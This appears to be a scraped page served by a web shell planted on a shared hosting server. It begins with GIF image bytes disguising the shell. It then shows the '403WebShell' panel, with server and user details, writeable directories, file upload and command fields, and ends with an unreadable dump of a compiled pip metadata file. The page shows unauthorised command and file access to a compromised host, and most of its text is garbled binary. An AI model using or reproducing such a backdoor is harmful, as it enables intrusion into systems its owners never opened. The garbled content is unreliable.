GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3.6/site-packages/pip/_vendor/distlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/pip/_vendor/distlib/__pycache__/metadata.cpython-36.pyc
3

�Pf���@sdZddlmZddlZddlmZddlZddlZddlZddl	m
Z
mZddlm
Z
mZmZddlmZdd	lmZmZdd
lmZmZeje�ZGdd�de
�ZGd
d�de
�ZGdd�de
�ZGdd�de
�ZdddgZdZ dZ!ej"d�Z#ej"d�Z$dGZ%dHZ&dIZ'dJZ(dKZ)dLZ*dMZ+e,�Z-e-j.e%�e-j.e&�e-j.e(�e-j.e*�ej"d8�Z/d9d:�Z0d;d<�Z1ddddd%ddd d!d"d#d+d,d$d&d'd-d/d0d5d1d2d*d)d(d.d3d4d6d7d=�Z2dNZ3dOZ4dPZ5dQZ6dRZ7dSZ8dTZ9e:�Z;ej"d>�Z<dUd@dA�Z=GdBdC�dCe:�Z>dDZ?dEZ@GdFd�de:�ZAdS)VzImplementation of the Metadata for Python packages PEPs.

Supports all metadata formats (1.0, 1.1, 1.2, and 2.0 experimental).
�)�unicode_literalsN)�message_from_file�)�DistlibException�__version__)�StringIO�string_types�	text_type)�	interpret)�extract_by_key�
get_extras)�
get_scheme�PEP440_VERSION_REc@seZdZdZdS)�MetadataMissingErrorzA required metadata is missingN)�__name__�
__module__�__qualname__�__doc__�rr�/usr/lib/python3.6/metadata.pyrsrc@seZdZdZdS)�MetadataConflictErrorz>Attempt to read or write metadata fields that are conflictual.N)rrrrrrrrr src@seZdZdZdS)� MetadataUnrecognizedVersionErrorz Unknown metadata version number.N)rrrrrrrrr$src@seZdZdZdS)�MetadataInvalidErrorzA metadata value is invalidN)rrrrrrrrr(sr�Metadata�PKG_INFO_ENCODING�PKG_INFO_PREFERRED_VERSIONzutf-8z1.1z

       \|z	
        �Metadata-Version�Name�Version�Platform�Summary�Description�Keywords�	Home-page�Author�Author-email�License�Supported-Platform�
Classifier�Download-URL�	Obsoletes�Provides�Requires�
Maintainer�Maintainer-email�Obsoletes-Dist�Project-URL�
Provides-Dist�
Requires-Dist�Requires-Python�Requires-External�Private-Version�Obsoleted-By�Setup-Requires-Dist�	Extension�Provides-Extraz"extra\s*==\s*("([^"]+)"|'([^']+)')cCs<|dkrtS|dkrtS|dkr$tS|dkr0tSt|��dS)Nz1.0z1.1z1.2z2.0)�_241_FIELDS�_314_FIELDS�_345_FIELDS�_426_FIELDSr)�versionrrr�_version2fieldlistgsr?c	Cs�dd�}g}x.|j�D]"\}}|gddfkr.q|j|�qWddddg}xt|D]l}|tkrld|krl|jd�|tkr�d|kr�|jd�|tkr�d|kr�|jd�|tkrNd|krN|jd�qNWt|�d	kr�|d
St|�d
kr�td��d|ko�||t	�}d|k�o
||t
�}d|k�o||t�}t|�t|�t|�d	k�rFtd��|�rl|�rl|�rlt
|k�rlt
S|�rvdS|�r�dSdS)
z5Detect the best version depending on the fields used.cSsx|D]}||krdSqWdS)NTFr)�keys�markers�markerrrr�_has_markerus
z"_best_version.<locals>._has_marker�UNKNOWNNz1.0z1.1z1.2z2.0rrzUnknown metadata setz(You used incompatible 1.1/1.2/2.0 fields)�items�appendr:�remover;r<r=�lenr�_314_MARKERS�_345_MARKERS�_426_MARKERS�intr)	�fieldsrCr@�key�valueZpossible_versionsZis_1_1Zis_1_2Zis_2_0rrr�
_best_versionssB




rP)�metadata_version�namer>�platformZsupported_platform�summary�description�keywords�	home_page�author�author_email�
maintainer�maintainer_email�license�
classifier�download_url�obsoletes_dist�
provides_dist�
requires_dist�setup_requires_dist�requires_python�requires_external�requires�provides�	obsoletes�project_urlZprivate_versionZobsoleted_by�	extensionZprovides_extraz[^A-Za-z0-9.]+FcCs0|r$tjd|�}tjd|jdd��}d||fS)zhReturn the distribution name with version.

    If for_filename is true, return a filename-escaped form.�-� �.z%s-%s)�	_FILESAFE�sub�replace)rRr>Zfor_filenamerrr�_get_name_and_version�srpc@s
eZdZdZd?dd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zd@dd�Zdd�Zdd �Zd!d"�Zd#d$�ZdAd%d&�ZdBd'd(�ZdCd)d*�Zd+d,�Zefd-d.�ZdDd/d0�ZdEd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Zd;d<�Z d=d>�Z!dS)F�LegacyMetadataaaThe legacy metadata of a release.

    Supports versions 1.0, 1.1 and 1.2 (auto-detected). You can
    instantiate the class with one of these arguments (or none):
    - *path*, the path to a metadata file
    - *fileobj* give a file-like object with metadata as content
    - *mapping* is a dict-like object
    - *scheme* is a version scheme name
    N�defaultcCsz|||gjd�dkrtd��i|_g|_d|_||_|dk	rH|j|�n.|dk	r\|j|�n|dk	rv|j|�|j	�dS)N�z'path, fileobj and mapping are exclusive)
�count�	TypeError�_fieldsZrequires_filesZ
_dependencies�scheme�read�	read_file�update�set_metadata_version)�self�path�fileobj�mappingrwrrr�__init__�s
zLegacyMetadata.__init__cCst|j�|jd<dS)NzMetadata-Version)rPrv)r|rrrr{sz#LegacyMetadata.set_metadata_versioncCs|jd||f�dS)Nz%s: %s
)�write)r|r~rRrOrrr�_write_fieldszLegacyMetadata._write_fieldcCs
|j|�S)N)�get)r|rRrrr�__getitem__szLegacyMetadata.__getitem__cCs|j||�S)N)�set)r|rRrOrrr�__setitem__szLegacyMetadata.__setitem__cCs8|j|�}y|j|=Wntk
r2t|��YnXdS)N)�
_convert_namerv�KeyError)r|rR�
field_namerrr�__delitem__s

zLegacyMetadata.__delitem__cCs||jkp|j|�|jkS)N)rvr�)r|rRrrr�__contains__s
zLegacyMetadata.__contains__cCs(|tkr|S|jdd�j�}tj||�S)Nrj�_)�_ALL_FIELDSro�lower�_ATTR2FIELDr�)r|rRrrrr�szLegacyMetadata._convert_namecCs|tks|tkrgSdS)NrD)�_LISTFIELDS�_ELEMENTSFIELD)r|rRrrr�_default_value%szLegacyMetadata._default_valuecCs&|jdkrtjd|�Stjd|�SdS)N�1.0�1.1�
)r�r�)rQ�_LINE_PREFIX_PRE_1_2rn�_LINE_PREFIX_1_2)r|rOrrr�_remove_line_prefix*s
z"LegacyMetadata._remove_line_prefixcCs|tkr||St|��dS)N)r��AttributeError)r|rRrrr�__getattr__0szLegacyMetadata.__getattr__FcCst|d|d|�S)zhReturn the distribution name with version.

        If filesafe is true, return a filename-escaped form.rr)rp)r|Zfilesaferrr�get_fullname;szLegacyMetadata.get_fullnamecCs|j|�}|tkS)z+return True if name is a valid metadata key)r�r�)r|rRrrr�is_fieldAs
zLegacyMetadata.is_fieldcCs|j|�}|tkS)N)r�r�)r|rRrrr�is_multi_fieldFs
zLegacyMetadata.is_multi_fieldc
Cs.tj|ddd�}z|j|�Wd|j�XdS)z*Read the metadata values from a file path.�rzutf-8)�encodingN)�codecs�openry�close)r|�filepath�fprrrrxJszLegacyMetadata.readcCs�t|�}|d|jd<xxtD]p}||kr*q|tkrh|j|�}|tkrZ|dk	rZdd�|D�}|j||�q||}|dk	r|dkr|j||�qW|j�dS)z,Read the metadata values from a file object.zmetadata-versionzMetadata-VersionNcSsg|]}t|jd���qS)�,)�tuple�split)�.0rOrrr�
<listcomp>_sz,LegacyMetadata.read_file.<locals>.<listcomp>rD)rrvr�r�Zget_all�_LISTTUPLEFIELDSr�r{)r|Zfileob�msg�field�valuesrOrrrryRs

zLegacyMetadata.read_filec
Cs0tj|ddd�}z|j||�Wd|j�XdS)z&Write the metadata fields to filepath.�wzutf-8)r�N)r�r��
write_filer�)r|r��skip_unknownr�rrrr�hszLegacyMetadata.writecCs�|j�x�t|d�D]�}|j|�}|r:|dgdgfkr:q|tkrX|j||dj|��q|tkr�|dkr�|jd
kr�|jdd�}n|jdd	�}|g}|t	kr�d
d�|D�}x|D]}|j|||�q�WqWdS)z0Write the PKG-INFO format data to a file object.zMetadata-VersionrDr�r!�1.0�1.1r�z	
        z	
       |cSsg|]}dj|��qS)r�)�join)r�rOrrrr��sz-LegacyMetadata.write_file.<locals>.<listcomp>N)r�r�)
r{r?r�r�r�r�r�rQror�)r|Z
fileobjectr�r�r�rOrrrr�ps$


zLegacyMetadata.write_filecs��fdd�}|snHt|d�r>x<|j�D]}||||�q&Wnx|D]\}}|||�qDW|r~x|j�D]\}}|||�qhWdS)a�Set metadata values from the given iterable `other` and kwargs.

        Behavior is like `dict.update`: If `other` has a ``keys`` method,
        they are looped over and ``self[key]`` is assigned ``other[key]``.
        Else, ``other`` is an iterable of ``(key, value)`` iterables.

        Keys that don't match a metadata field or that have an empty value are
        dropped.
        cs"|tkr|r�j�j|�|�dS)N)r�r�r�)rNrO)r|rr�_set�sz#LegacyMetadata.update.<locals>._setr@N)�hasattrr@rE)r|�other�kwargsr��k�vr)r|rrz�s

zLegacyMetadata.updatecCsn|j|�}|tks|dkrPt|ttf�rPt|t�rJdd�|jd�D�}q~g}n.|tkr~t|ttf�r~t|t�rz|g}ng}tj	t
j��rB|d}t|j
�}|tkr�|dk	r�x�|D](}|j|jd�d�s�tjd	|||�q�Wn`|tko�|dk	�r|j|��sBtjd
|||�n0|tk�rB|dk	�rB|j|��sBtjd
|||�|tk�r`|dk�r`|j|�}||j|<dS)z"Control then set a metadata field.rcSsg|]}|j��qSr)�strip)r�r�rrrr��sz&LegacyMetadata.set.<locals>.<listcomp>r�rN�;rz$'%s': '%s' is not valid (field '%s')z.'%s': '%s' is not a valid version (field '%s')r!)r�r��
isinstance�listr�rr�r��loggerZisEnabledFor�loggingZWARNINGr
rw�_PREDICATE_FIELDS�is_valid_matcher�warning�_VERSIONS_FIELDS�is_valid_constraint_list�_VERSION_FIELDS�is_valid_version�_UNICODEFIELDSr�rv)r|rRrOZproject_namerwr�rrrr��s@








zLegacyMetadata.setcCs�|j|�}||jkr*|tkr&|j|�}|S|tkr@|j|}|S|tkr�|j|}|dkr^gSg}x6|D].}|tkr�|j|�qh|j|d|df�qhW|S|tkr�|j|}t	|t
�r�|jd�S|j|S)zGet a metadata field.Nrrr�)r�rv�_MISSINGr�r�r�r�rFr�r�rr�)r|rRrrrO�res�valrrrr��s.








zLegacyMetadata.getcs|j�gg}}xd
D]}||kr|j|�qW|rT|gkrTddj|�}t|��xdD]}||krZ|j|�qZW|ddkr�||fSt|j���fd	d
�}xdt|ft�jft	�j
ffD]F\}}x<|D]4}	|j|	d�}
|
dk	o�||
�r�|jd|	|
f�q�Wq�W||fS)zkCheck if the metadata is compliant. If strict is True then raise if
        no Name or Version are providedrrzmissing required metadata: %sz, �	Home-pager$zMetadata-Versionz1.2cs*x$|D]}�j|jd�d�sdSqWdS)Nr�rFT)r�r�)rOr�)rwrr�are_valid_constraintss
z3LegacyMetadata.check.<locals>.are_valid_constraintsNzWrong value for '%s': %s)rr)r�r$)r{rFr�rr
rwr�r�r�r�r�r�)r|�strict�missing�warnings�attrr�r�rMZ
controllerr�rOr)rwr�check�s2




zLegacyMetadata.checkcCs�|j�dB}i}x,|D]$\}}|s.||jkr||||<qW|ddk�r�dK}x�|D]F\}}|sn||jkrV|d&k�r�||||<qVd,d-�||D�||<qVWnF|dd.k�r�dO}x2|D]*\}}|�s�||jk�r�||||<�q�W|S)Pz�Return fields as a dict.

        Field names will be converted to use the underscore-lowercase style
        instead of hyphen-mixed case (i.e. home_page instead of Home-page).
        rQ�Metadata-VersionrRrr>rrTr rW�	Home-pagerXr$rY�Author-emailr\r&rUr!rVr"rSr�classifiersr(r^�Download-URLz1.2ra�
Requires-Distrc�Requires-Pythonrd�Requires-Externalr`�
Provides-Distr_�Obsoletes-Distrh�Project-URLrZr-r[�Maintainer-emailcSsg|]}dj|��qS)r�)r�)r��urrrr�Gsz)LegacyMetadata.todict.<locals>.<listcomp>z1.1rfr+rer,rgr*�rQr��rRr�r>r�rTr �rWr��rXr$�rYr��r\r&�rUr!�rVr"�rSr�r�r(�r^r�)
r�r�r�r�r�r�r�r�r�r�r�r�r��rar��rcr��rdr��r`r��r_r��rhr��rZr-�r[r�)r�r�r�r�r�r�r�r��rfr+�rer,�rgr*)r�r�r�)r{rv)r|Zskip_missingZmapping_1_0�datarNr�Zmapping_1_2Zmapping_1_1rrr�todictsP
zLegacyMetadata.todictcCs<|ddkr(xdD]}||kr||=qW|d|7<dS)NzMetadata-Versionz1.1r*r,r+z
Requires-Dist)r*r,r+r)r|�requirementsr�rrr�add_requirementsUs


zLegacyMetadata.add_requirementscCstt|d��S)NzMetadata-Version)r�r?)r|rrrr@`szLegacyMetadata.keysccsx|j�D]
}|Vq
WdS)N)r@)r|rNrrr�__iter__cszLegacyMetadata.__iter__cs�fdd��j�D�S)Ncsg|]}�|�qSrr)r�rN)r|rrr�hsz)LegacyMetadata.values.<locals>.<listcomp>)r@)r|r)r|rr�gszLegacyMetadata.valuescs�fdd��j�D�S)Ncsg|]}|�|f�qSrr)r�rN)r|rrr�ksz(LegacyMetadata.items.<locals>.<listcomp>)r@)r|r)r|rrEjszLegacyMetadata.itemscCsd|jj|j|jfS)Nz
<%s %s %s>)�	__class__rrRr>)r|rrr�__repr__mszLegacyMetadata.__repr__)NNNrr)F)F)F)N)F)F)"rrrrr�r{r�r�r�r�r�r�r�r�r�r�r�r�rxryr�r�rzr�r�r�r�r�r�r@r�r�rEr�rrrrrq�s>	




,
,
;rqzpydist.jsonz
metadata.jsonc@s�eZdZdZejd�Zejdej�Ze	Z
ejd�ZdZde
ZffdId�Zd	Zd
ZeffedJfe
dKfedLfd�ZdMZdNdd�ZedO�ZdefZdefZdefdefeeedefeeeedefdPdQd�
Z[[dd �ZdRd!d"�Zd#d$�Zed%d&��Z ed'd(��Z!e!j"d)d(��Z!dSd*d+�Z#ed,d-��Z$ed.d/��Z%e%j"d0d/��Z%d1d2�Z&d3d4�Z'd5d6�Z(d7d8�Z)d9d:d;d<d=dd>�Z*d?d@�Z+dTdCdD�Z,dEdF�Z-dGdH�Z.dS)Urz�
    The metadata of a release. This implementation uses 2.0 (JSON)
    metadata where possible. If not possible, it wraps a LegacyMetadata
    instance which handles the key-value metadata format.
    z
^\d+(\.\d+)*$z!^[0-9A-Z]([0-9A-Z_.-]*[0-9A-Z])?$z	.{1,2047}z2.0zdistlib (%s)�legacy)rRr>rTzqname version license summary description author author_email keywords platform home_page classifiers download_urlzwextras run_requires test_requires build_requires dev_requires provides meta_requires obsoleted_by supports_environments)rQrRr>rT�_legacy�_datarwNrrcCs0|||gjd�dkrtd��d|_d|_||_|dk	rzy|j||�||_Wn*tk
rvt||d�|_|j�YnXn�d}|r�t	|d��}|j
�}WdQRXn|r�|j
�}|dkr�|j|jd�|_ndt
|t�s�|jd�}ytj|�|_|j|j|�Wn0tk
�r*tt|�|d�|_|j�YnXdS)Nrsz'path, fileobj and mapping are exclusive)rrw�rb)rQ�	generatorzutf-8)r~rw)rtrur�rrw�_validate_mappingrrq�validater�rx�METADATA_VERSION�	GENERATORr�r	�decode�json�loads�
ValueErrorr)r|r}r~rrwr��frrrr��s<



zMetadata.__init__rRr>r\rVrTz
Requires-DistzSetup-Requires-DistzProvides-Extrar(�Download-URL�Metadata-Version)
�run_requires�build_requires�dev_requiresZ
test_requires�
meta_requires�extras�modules�
namespaces�exports�commandsr�Z
source_urlrQc
CsZtj|d�}tj|d�}||k�r||\}}|jr^|dkrP|dkrHdn|�}n|jj|�}n�|dkrjdn|�}|dkr�|jj||�}n�t�}|}|jjd�}	|	�r|dkr�|	jd	|�}nR|dkr�|	jd
�}	|	r�|	j||�}n.|	jd�}	|	�s�|jjd�}	|	�r|	j||�}||k�rV|}n:||k�r4tj||�}n"|j�rJ|jj|�}n|jj|�}|S)
N�common_keys�mapped_keysrrrrr��
extensionszpython.commandszpython.detailszpython.exports)rrrrr�)�object�__getattribute__r�r�r)
r|rN�common�mapped�lkZmaker�resultrO�sentinel�drrrr�sF




zMetadata.__getattribute__cCsH||jkrD|j|\}}|p |j|krD|j|�}|sDtd||f��dS)Nz.'%s' is an invalid value for the '%s' property)�SYNTAX_VALIDATORSrw�matchr)r|rNrOrw�pattern�
exclusions�mrrr�_validate_values

zMetadata._validate_valuecCs*|j||�tj|d�}tj|d�}||kr�||\}}|jrV|dkrJt�||j|<nf|d
krj||j|<nR|jjdi�}|dkr�||d	<n2|dkr�|jd
i�}|||<n|jdi�}|||<nh||kr�tj|||�nP|dk�rt|t	��r|j
�}|�r|j�}ng}|j�r||j|<n
||j|<dS)Nrrrrrrr�rzpython.commandszpython.detailszpython.exportsrV)rrrrr�)r'rrr��NotImplementedErrorr�
setdefault�__setattr__r�rr�r�)r|rNrOrrrr�r!rrrr*s>




zMetadata.__setattr__cCst|j|jd�S)NT)rprRr>)r|rrr�name_and_version@szMetadata.name_and_versioncCsF|jr|jd}n|jjdg�}d|j|jf}||krB|j|�|S)Nz
Provides-Distrfz%s (%s))r�rr)rRr>rF)r|r�srrrrfDs
zMetadata.providescCs |jr||jd<n
||jd<dS)Nz
Provides-Distrf)r�r)r|rOrrrrfOsc
Cs�|jr|}n�g}t|pg|j�}xl|D]d}d|kr@d|kr@d}n8d|krNd}n|jd�|k}|rx|jd�}|rxt||�}|r&|j|d�q&WxNdD]F}d|}	|	|kr�|j|	�|jjd	|g�}|j|j|||d
��q�W|S)a�
        Base method to get dependencies, given a set of extras
        to satisfy and an optional environment context.
        :param reqts: A list of sometimes-wanted dependencies,
                      perhaps dependent on extras and environment.
        :param extras: A list of optional components being requested.
        :param env: An optional environment for marker evaluation.
        �extra�environmentTre�build�dev�testz:%s:z%s_requires)r�env)r/r0r1)	r�rrr�r
�extendrGr�get_requirements)
r|�reqtsrr2rr!�includerBrN�errrr4Vs0	




zMetadata.get_requirementscCs|jr|j�S|jS)N)r��_from_legacyr)r|rrr�
dictionary�szMetadata.dictionarycCs|jrt�nt|j|j�SdS)N)r�r(rr�DEPENDENCY_KEYS)r|rrr�dependencies�szMetadata.dependenciescCs|jrt�n|jj|�dS)N)r�r(rrz)r|rOrrrr;�sc	Cs�|jd�|jkrt��g}x0|jj�D]"\}}||kr&||kr&|j|�q&W|rfddj|�}t|��x"|j�D]\}}|j|||�qpWdS)NrQzMissing metadata items: %sz, )	r�rr�MANDATORY_KEYSrErFr�rr')	r|rrwr�rNr%r�r�r�rrrr�szMetadata._validate_mappingcCsB|jr.|jjd�\}}|s|r>tjd||�n|j|j|j�dS)NTz#Metadata: missing: %s, warnings: %s)r�r�r�r�rrrw)r|r�r�rrrr�s
